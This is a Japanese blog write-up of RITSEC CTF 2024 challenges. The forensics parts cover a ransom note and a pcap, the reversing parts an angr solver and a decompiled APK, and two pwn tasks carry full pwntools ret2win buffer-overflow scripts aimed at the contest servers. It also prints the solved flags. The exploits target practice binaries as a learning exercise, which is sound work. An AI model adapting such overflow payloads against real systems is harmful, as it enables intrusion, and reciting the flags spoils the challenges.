初めに
RITCTF 2024のWriteupになります。
pwnとrevとforensicの記事です。
備忘録デス。
Forensic
Ransom Note
After the break-in to his lab Anthony found a suspicious new file on his desktop named README.txt. Anthony opened the file and found that it was a ransom demand from whomever stole his invention. Perhaps the contents of the ransom note contain a clue to the attacker's identity.
以下のREADME.txtを渡される。
該当のBTCのアドレスに行ってみる。
RS{26f9c2fcdfe8e86804eb}
Decrypt the Flood
Dive into the digital currents of Decrypt the Flood! Navigate through encrypted waters, uncovering clues hidden within the network flow. Will you decrypt the mystery behind Anthony's vanished invention, or will it remain lost in the flood?
pcap fileを渡されます。
ごちゃごちゃして何もわかりません。もしかしたら平文で書いてるかもしれないのでstringsかけます。
ありました。pcapはこういった解き方があることは聞いてましたが、いざやるとズルをしてる感覚が個人的にあります。。。
RS{pc@p$_@r3_0ur_fr!3nd$}
Reversing
My Favorite Flag
In our relentless quest to reclaim Anthony's cherished invention, we find ourselves navigating the intricate pathways of cyber investigation. Our attention is drawn to a digital artifact, the a.out file, a seemingly innocuous entity yet harboring secrets within its binary code. With Anthony's invention at stake, suspicions now converge not only upon Sophie, a figure of authority with a nuanced understanding of the facility's inner workings, but also upon Alex, a shadowy presence lurking within the digital ether.
1つの実行ファイルとC言語ファイルを渡されます。
C言語は以下です。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main() {
int l, i, j;
unsigned char input[50];
unsigned char* output;
unsigned char b[] = {0x0, 0x28, 0x13, 0x36, 0x11, 0x7a, 0x6e, 0x4, 0x6c, 0x55, 0x5f, 0x39, 0x4, 0x1d, 0x4e, 0x66, 0x6f, 0x6b, 0x42, 0x49, 0x0, 0x52, 0x0, 0x53, 0x1f, 0x0, 0x56, 0x4e, 0x5c};
char* s = "RS{0h_b0y,I_10v3_f4k3_fl4gs!}";
printf("Can you guess my favorite flag? > ");
fgets(input, 50, stdin);
l = strlen(input);
if (input[l-1] == '\n') {
input[l-1] = '\0';
l--;
}
if (l != strlen(s)) {
printf("Nope! Try again :)\n");
return -1;
}
if (strcmp(input, s) == 0) {
printf("why would I like a fake flag??\n");
return -1;
}
output = malloc(l+1);
for (i=0; i <l; i++) {
output[i] = ' ';
}
output[l+1] = 0;
for (i = 0; i < l; i++) {
output[(2*i) % l] = input[i] ^ b[i];
}
if (strcmp(output, s) != 0) {
printf("Nope! Try again :)\n");
return -1;
}
printf("Yeah how'd you know?\n");
return 0;
}
実行ファイルはこのC言語のやつですね。
上手いことFlagを入力をした時にYeah how'd you know?
とかえしてくれるようなのでこの文字列を探索するためにangrを使ってみる。避けるべき文字列はNope! Try again
を指定した。これらの条件を標準出力posix.dumps(1)
に指定する。最後に見つけたものの標準入力posix.dumps(0)
を出すだけでよい。
import angr
import claripy
proj = angr.Project('a.out', load_options={"auto_load_libs": False})
argv = [proj.filename]
state = proj.factory.entry_state(args = argv)
simgr = proj.factory.simulation_manager(state)
simgr.explore(find=lambda s: b"Yeah how'd you know" in s.posix.dumps(1), avoid=lambda s: b"Nope! Try again" in s.posix.dumps(1), step_func=lambda lsm: lsm.drop(stash='avoid').drop(stash='deadended'))
if len(simgr.found) > 0:
state = simgr.found[0]
print(state.posix.dumps(0))
else: print("Not found...")
RS{Th3_r3al_0n35_4re_b35t_:)}
Guess
I was rummaging around some old files and found this badly made app (not mine by the way). Do you think you can uncover any hidden information hiding in when running it? You can download it here(guess.apk).
guess.apkファイルを渡されるのでとりあえず以下サイトに突っ込みます。
sources/com
配下にいかにもなファイルを見つけます。flagって書いてあるし。
javaが分からなすぎるので、ChatGPTに聞きます。
いいPythonを出力してくれたのでちょちょいといじってあげます。
GPTマジ神
RS{gu3ssy_funct1on}
Pwn
The Gumponent
Hey, Chase here. Some of us on the team think we've found a component of something Anthony was last working on. Its seen running on a server.
Additionally, someone found a prototype. Do you can you dig into this and see if there is something on the server that could tell use more?
1つのバイナリが渡されます。
ほう、Ghidraで見てみます。
local_98
にバッファオーバーフローを仕掛ける方向でいいでしょう。
どこにReturnさせるかは、シンボルが消されてるので面倒ですが探すしかないでしょう。
それっぽい関数を見つけました。checksecも確認しておきます。
アドレスのランダム配置されてなさそうなので大丈夫そう。
(バイナリの通常の出力にアドレスが書いてるのはちょっと引っかかるけど)
続いてReturnまでのOffsetを求めます。
この文字列を叩き込みます。
rcxのアドレスをcallしてるのでどこまでか確認します。
32個適当にバイトを通せば良さそうですね。
Solverはこうなった。
from pwn import *
context.log_level = "debug"
binfile = './test_gumponent'
offset = b'\x02'*32
rhost = 'ctf.ritsec.club'
rport = 31746
elf = ELF(binfile)
context.binary = elf
p = remote(rhost, rport)
p.recvuntil('function is at ')
p.recvuntil("\n")
gofunc = 0x401230
payload = offset
payload += pack(gofunc)
p.sendline(payload)
p.interactive()
Risky Clue
Can you guess the riddle?
バイナリファイルが1つ渡されます。実行できないのでどんな形式か見てみます。
RISC-Vですか。
qemu-riscv64
を使って実行します。
実行できてそうですね。
どんなものかGhidraで見てみます。
abStack_78
にバッファオーバーフローを叩き込む方向でいいでしょう。
どこのアドレスに飛ばすかはいいものがありました。
RISC-Vでもこういった関数が用意されてればやることは同じですね。ret2winのやり方でおkです。
win関数のアドレスを確認しておきます。
このアドレスに飛ばすわけです。
後はReturnまでのOffsetを求めればいいです。
112個分埋めれば良さそうですね。
後はSolverを組むだけです。
from pwn import *
context.log_level = "debug"
binfile = './clue'
libcfile = ''
offset = b'A'*112
rhost = 'ctf.ritsec.club'
rport = 30839
gdb_script = '''
b main
'''
elf = ELF(binfile)
context.binary = elf
def conn():
if args.REMOTE:
p = remote(rhost, rport)
elif args.GDB:
p = process(elf.path)
gdb.attach(p, gdbscript=gdb_script)
else:
p = process(elf.path)
return p
win = 0x0000000000010446
p = conn()
p.recvuntil('Your answer: ')
p.sendline(offset + pack(win))
p.interactive()
RS{CLU3S_1N_R1DDL3S_4R3_C0NFUS1NG}